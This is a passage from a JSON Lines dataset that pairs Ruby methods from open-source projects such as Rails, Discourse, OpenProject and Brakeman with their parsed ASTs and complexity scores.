,\"children\":[\"days_range\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"n\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"grouped_comments\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"n\"]},\"days\"]},\"ago\"]},\"to_date\"]}]},{\"type\":\"int\",\"children\":[0]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"reactions_values\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"days_range\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"n\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"grouped_reactions\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"n\"]},\"days\"]},\"ago\"]},\"to_date\"]}]},{\"type\":\"int\",\"children\":[0]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"new_members_values\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"days_range\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"n\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"grouped_users\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"n\"]},\"days\"]},\"ago\"]},\"to_date\"]}]},{\"type\":\"int\",\"children\":[0]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Posts\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"posts_values\"]},\"sum\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Article\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"published_at\"]},{\"type\":\"lvar\",\"children\":[\"previous_period\"]}]}]}]},\"size\"]},{\"type\":\"lvar\",\"children\":[\"posts_values\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Comments\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"comments_values\"]},\"sum\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Comment\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"created_at\"]},{\"type\":\"lvar\",\"children\":[\"previous_period\"]}]}]}]},\"size\"]},{\"type\":\"lvar\",\"children\":[\"comments_values\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Reactions\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"reactions_values\"]},\"sum\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Reaction\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"created_at\"]},{\"type\":\"lvar\",\"children\":[\"previous_period\"]}]}]}]},\"size\"]},{\"type\":\"lvar\",\"children\":[\"reactions_values\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"New members\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_members_values\"]},\"sum\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"registered_at\"]},{\"type\":\"lvar\",\"children\":[\"previous_period\"]}]}]}]},\"size\"]},{\"type\":\"lvar\",\"children\":[\"new_members_values\"]}]}]}]}]}","id":"f1805029-3efc-4c41-bea7-dc62ac4a8224"} {"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/formatter/clang_style_formatter.rb","start_line":33,"raw_source":"def valid_line?(offense)\n !offense.location.source_line.blank?\n end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"valid_line?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"offense\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"offense\"]},\"location\"]},\"source_line\"]},\"blank?\"]},\"!\"]}]}","id":"fae06962-7a99-44e4-affd-14cb5fea490e"} {"repo_name":"discourse","file_path":"./repos/discourse/lib/topics_bulk_action.rb","start_line":103,"raw_source":"def dismiss_topics\n ids =\n Topic\n .where(id: @topic_ids)\n .joins(\n \"LEFT JOIN topic_users ON topic_users.topic_id = topics.id AND topic_users.user_id = #{@user.id}\",\n )\n .where(\"topics.created_at >= ?\", dismiss_topics_since_date)\n .where(\"topic_users.last_read_post_number IS NULL\")\n .order(\"topics.created_at DESC\")\n .limit(SiteSetting.max_new_topics)\n .filter { |t| guardian.can_see?(t) }\n .map(&:id)\n\n if ids.present?\n now = Time.zone.now\n rows = ids.map { |id| { topic_id: id, user_id: @user.id, created_at: now } }\n DismissedTopicUser.insert_all(rows)\n TopicTrackingState.publish_dismiss_new(@user.id, topic_ids: ids.sort)\n end\n\n @changed_ids = ids\n end","complexity_score":42.9,"ast_json":"{\"type\":\"def\",\"children\":[\"dismiss_topics\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ids\",{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"ivar\",\"children\":[\"@topic_ids\"]}]}]}]},\"joins\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"LEFT JOIN topic_users ON topic_users.topic_id = topics.id AND topic_users.user_id = \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@user\"]},\"id\"]}]}]}]},\"where\",{\"type\":\"str\",\"children\":[\"topics.created_at >= ?\"]},{\"type\":\"send\",\"children\":[null,\"dismiss_topics_since_date\"]}]},\"where\",{\"type\":\"str\",\"children\":[\"topic_users.last_read_post_number IS NULL\"]}]},\"order\",{\"type\":\"str\",\"children\":[\"topics.created_at DESC\"]}]},\"limit\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"max_new_topics\"]}]},\"filter\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"guardian\"]},\"can_see?\",{\"type\":\"lvar\",\"children\":[\"t\"]}]}]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ids\"]},\"present?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"now\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"zone\"]},\"now\"]}]},{\"type\":\"lvasgn\",\"children\":[\"rows\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ids\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"id\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"topic_id\"]},{\"type\":\"lvar\",\"children\":[\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@user\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"created_at\"]},{\"type\":\"lvar\",\"children\":[\"now\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DismissedTopicUser\"]},\"insert_all\",{\"type\":\"lvar\",\"children\":[\"rows\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TopicTrackingState\"]},\"publish_dismiss_new\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@user\"]},\"id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"topic_ids\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ids\"]},\"sort\"]}]}]}]}]},null]},{\"type\":\"ivasgn\",\"children\":[\"@changed_ids\",{\"type\":\"lvar\",\"children\":[\"ids\"]}]}]}]}","id":"cba99a4c-2d22-4a89-b38b-f65af3bafcb0"} {"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/zone.rb","start_line":56,"raw_source":"def find_master_server\n active_miq_servers.detect(&:is_master?)\n end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"find_master_server\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"active_miq_servers\"]},\"detect\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"is_master?\"]}]}]}]}","id":"8a18d487-8395-45b7-a3ca-73865475a80f"} {"repo_name":"openproject","file_path":"./repos/openproject/app/models/work_package/exports/query_exporter.rb","start_line":38,"raw_source":"def initialize(object, options = {})\n super\n\n @column_objects = get_columns\n @columns = column_objects.map { |c| { name: c.name, caption: c.caption } }\n @work_packages = get_work_packages\n end","complexity_score":11.4,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"object\"]},{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@column_objects\",{\"type\":\"send\",\"children\":[null,\"get_columns\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@columns\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"column_objects\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"c\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"caption\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"caption\"]}]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@work_packages\",{\"type\":\"send\",\"children\":[null,\"get_work_packages\"]}]}]}]}","id":"b7645ea2-97e1-4dbd-a081-bf403f1de190"} {"repo_name":"openproject","file_path":"./repos/openproject/modules/openid_connect/app/models/openid_connect/provider.rb","start_line":164,"raw_source":"def redirect_uri\n base_redirect_uri = \"#{Setting.protocol}://#{Setting.host_name}#{OpenProject::Configuration['rails_relative_url_root']}\"\n URI.join(base_redirect_uri, \"/auth/#{slug}/callback\").to_s\n end","complexity_score":7.6,"ast_json":"{\"type\":\"def\",\"children\":[\"redirect_uri\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"base_redirect_uri\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Setting\"]},\"protocol\"]}]},{\"type\":\"str\",\"children\":[\"://\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Setting\"]},\"host_name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenProject\"]},\"Configuration\"]},\"[]\",{\"type\":\"str\",\"children\":[\"rails_relative_url_root\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"URI\"]},\"join\",{\"type\":\"lvar\",\"children\":[\"base_redirect_uri\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"/auth/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"slug\"]}]},{\"type\":\"str\",\"children\":[\"/callback\"]}]}]},\"to_s\"]}]}]}","id":"964f9f16-8c1e-4434-ae3d-0d201b3eec9b"} {"repo_name":"discourse","file_path":"./repos/discourse/app/services/topic_bookmarkable.rb","start_line":25,"raw_source":"def self.list_query(user, guardian)\n topics = Topic.listable_topics.secured(guardian)\n pms = Topic.private_messages_for_user(user)\n topic_bookmarks =\n user\n .bookmarks_of_type(\"Topic\")\n .joins(\n \"INNER JOIN topics ON topics.id = bookmarks.bookmarkable_id AND bookmarks.bookmarkable_type = 'Topic'\",\n )\n .joins(\"LEFT JOIN topic_users ON topic_users.topic_id = topics.id\")\n .where(\"topic_users.user_id = ?\", user.id)\n guardian.filter_allowed_categories(topic_bookmarks.merge(topics.or(pms)))\n end","complexity_score":16.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"list_query\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]},{\"type\":\"arg\",\"children\":[\"guardian\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"topics\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"listable_topics\"]},\"secured\",{\"type\":\"lvar\",\"children\":[\"guardian\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"pms\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"private_messages_for_user\",{\"type\":\"lvar\",\"children\":[\"user\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"topic_bookmarks\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"bookmarks_of_type\",{\"type\":\"str\",\"children\":[\"Topic\"]}]},\"joins\",{\"type\":\"str\",\"children\":[\"INNER JOIN topics ON topics.id = bookmarks.bookmarkable_id AND bookmarks.bookmarkable_type = 'Topic'\"]}]},\"joins\",{\"type\":\"str\",\"children\":[\"LEFT JOIN topic_users ON topic_users.topic_id = topics.id\"]}]},\"where\",{\"type\":\"str\",\"children\":[\"topic_users.user_id = ?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"id\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"guardian\"]},\"filter_allowed_categories\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic_bookmarks\"]},\"merge\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topics\"]},\"or\",{\"type\":\"lvar\",\"children\":[\"pms\"]}]}]}]}]}]}","id":"1f31e00e-1677-404f-88f1-e34cc526b6b3"} {"repo_name":"rails","file_path":"./repos/rails/railties/lib/rails/commands/encrypted/encrypted_command.rb","start_line":88,"raw_source":"def missing_encrypted_configuration_message\n if !encrypted_configuration.key?\n \"Missing '#{key_path}' to decrypt data. See `#{executable(:help)}`\"\n else\n \"File '#{content_path}' does not exist. Use `#{executable(:edit)} #{content_path}` to change that.\"\n end\n end","complexity_score":10.1,"ast_json":"{\"type\":\"def\",\"children\":[\"missing_encrypted_configuration_message\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"encrypted_configuration\"]},\"key?\"]},\"!\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Missing '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"key_path\"]}]},{\"type\":\"str\",\"children\":[\"' to decrypt data. See `\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"executable\",{\"type\":\"sym\",\"children\":[\"help\"]}]}]},{\"type\":\"str\",\"children\":[\"`\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"File '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"content_path\"]}]},{\"type\":\"str\",\"children\":[\"' does not exist. Use `\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"executable\",{\"type\":\"sym\",\"children\":[\"edit\"]}]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"content_path\"]}]},{\"type\":\"str\",\"children\":[\"` to change that.\"]}]}]}]}","id":"a61a3668-a6b3-4d72-88e3-8899cd80180a"} {"repo_name":"discourse","file_path":"./repos/discourse/app/models/theme_modifier_set.rb","start_line":68,"raw_source":"def topic_thumbnail_sizes=(val)\n return write_attribute(:topic_thumbnail_sizes, val) if val.nil?\n return write_attribute(:topic_thumbnail_sizes, val) if !val.is_a?(Array)\n if !val.all? { |v| v.is_a?(Array) && v.length == 2 }\n return write_attribute(:topic_thumbnail_sizes, val)\n end\n\n super(val.map { |dim| \"#{dim[0]}x#{dim[1]}\" })\n end","complexity_score":24.53,"ast_json":"{\"type\":\"def\",\"children\":[\"topic_thumbnail_sizes=\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"val\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"val\"]},\"nil?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"write_attribute\",{\"type\":\"sym\",\"children\":[\"topic_thumbnail_sizes\"]},{\"type\":\"lvar\",\"children\":[\"val\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"val\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Array\"]}]},\"!\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"write_attribute\",{\"type\":\"sym\",\"children\":[\"topic_thumbnail_sizes\"]},{\"type\":\"lvar\",\"children\":[\"val\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"val\"]},\"all?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"v\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"v\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Array\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"v\"]},\"length\"]},\"==\",{\"type\":\"int\",\"children\":[2]}]}]}]},\"!\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"write_attribute\",{\"type\":\"sym\",\"children\":[\"topic_thumbnail_sizes\"]},{\"type\":\"lvar\",\"children\":[\"val\"]}]}]},null]},{\"type\":\"super\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"val\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"dim\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dim\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"str\",\"children\":[\"x\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dim\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]}]}]}]}]}]}","id":"e7dffcb1-ce39-41c1-bd8b-0a7b6198d338"} {"repo_name":"discourse","file_path":"./repos/discourse/app/controllers/admin/form_templates_controller.rb","start_line":55,"raw_source":"def update\n template = FormTemplate.find(params[:id])\n\n begin\n template.update!(name: params[:name], template: params[:template])\n render_serialized(template, AdminFormTemplateSerializer, root: \"form_template\")\n rescue FormTemplate::NotAllowed => err\n render_json_error(err.message)\n end\n end","complexity_score":17.5,"ast_json":"{\"type\":\"def\",\"children\":[\"update\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"template\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FormTemplate\"]},\"find\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"template\"]},\"update!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"name\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"template\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"template\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"render_serialized\",{\"type\":\"lvar\",\"children\":[\"template\"]},{\"type\":\"const\",\"children\":[null,\"AdminFormTemplateSerializer\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"root\"]},{\"type\":\"str\",\"children\":[\"form_template\"]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FormTemplate\"]},\"NotAllowed\"]}]},{\"type\":\"lvasgn\",\"children\":[\"err\"]},{\"type\":\"send\",\"children\":[null,\"render_json_error\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"err\"]},\"message\"]}]}]},null]}]}]}]}","id":"f6582b2b-722b-4850-ad55-edbaf3a37db5"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/migration/compatibility_test.rb","start_line":52,"raw_source":"def test_migration_does_remove_unnamed_index\n connection.add_index :testings, :bar\n\n migration = Class.new(ActiveRecord::Migration[4.2]) {\n def version; 101 end\n def migrate(x)\n remove_index :testings, :bar\n end\n }.new\n\n assert connection.index_exists?(:testings, :bar)\n ActiveRecord::Migrator.new(:up, [migration], @schema_migration, @internal_metadata).migrate\n assert_not connection.index_exists?(:testings, :bar)\n end","complexity_score":17.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_migration_does_remove_unnamed_index\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connection\"]},\"add_index\",{\"type\":\"sym\",\"children\":[\"testings\"]},{\"type\":\"sym\",\"children\":[\"bar\"]}]},{\"type\":\"lvasgn\",\"children\":[\"migration\",{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Class\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Migration\"]},\"[]\",{\"type\":\"float\",\"children\":[4.2]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"def\",\"children\":[\"version\",{\"type\":\"args\",\"children\":[]},{\"type\":\"int\",\"children\":[101]}]},{\"type\":\"def\",\"children\":[\"migrate\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"x\"]}]},{\"type\":\"send\",\"children\":[null,\"remove_index\",{\"type\":\"sym\",\"children\":[\"testings\"]},{\"type\":\"sym\",\"children\":[\"bar\"]}]}]}]}]},\"new\"]}]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connection\"]},\"index_exists?\",{\"type\":\"sym\",\"children\":[\"testings\"]},{\"type\":\"sym\",\"children\":[\"bar\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Migrator\"]},\"new\",{\"type\":\"sym\",\"children\":[\"up\"]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"migration\"]}]},{\"type\":\"ivar\",\"children\":[\"@schema_migration\"]},{\"type\":\"ivar\",\"children\":[\"@internal_metadata\"]}]},\"migrate\"]},{\"type\":\"send\",\"children\":[null,\"assert_not\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connection\"]},\"index_exists?\",{\"type\":\"sym\",\"children\":[\"testings\"]},{\"type\":\"sym\",\"children\":[\"bar\"]}]}]}]}]}","id":"afef3531-ae6b-4144-afd9-f3a10cd48fb3"} {"repo_name":"mastodon","file_path":"./repos/mastodon/app/models/unavailable_domain.rb","start_line":26,"raw_source":"def reset_cache!\n Rails.cache.delete('unavailable_domains')\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"reset_cache!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"cache\"]},\"delete\",{\"type\":\"str\",\"children\":[\"unavailable_domains\"]}]}]}","id":"51a7ae6c-3dc1-438f-8314-8e8faed60d44"} {"repo_name":"brakeman","file_path":"./repos/brakeman/lib/brakeman/checks/check_strip_tags.rb","start_line":89,"raw_source":"def uses_strip_tags?\n Brakeman.debug \"Finding calls to strip_tags()\"\n\n not tracker.find_call(:target => false, :method => :strip_tags, :nested => true).empty?\n end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"uses_strip_tags?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Brakeman\"]},\"debug\",{\"type\":\"str\",\"children\":[\"Finding calls to strip_tags()\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"tracker\"]},\"find_call\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"target\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"method\"]},{\"type\":\"sym\",\"children\":[\"strip_tags\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"nested\"]},{\"type\":\"true\",\"children\":[]}]}]}]},\"empty?\"]},\"!\"]}]}]}","id":"21f5ee93-1138-4e41-b6b6-e8fbb72182eb"} {"repo_name":"openproject","file_path":"./repos/openproject/spec/support/storage_server_helpers.rb","start_line":170,"raw_source":"def normalize_url(url)\n URI.parse(url).normalize.tap { |u| u.path.squeeze!(\"/\") }.to_s\n 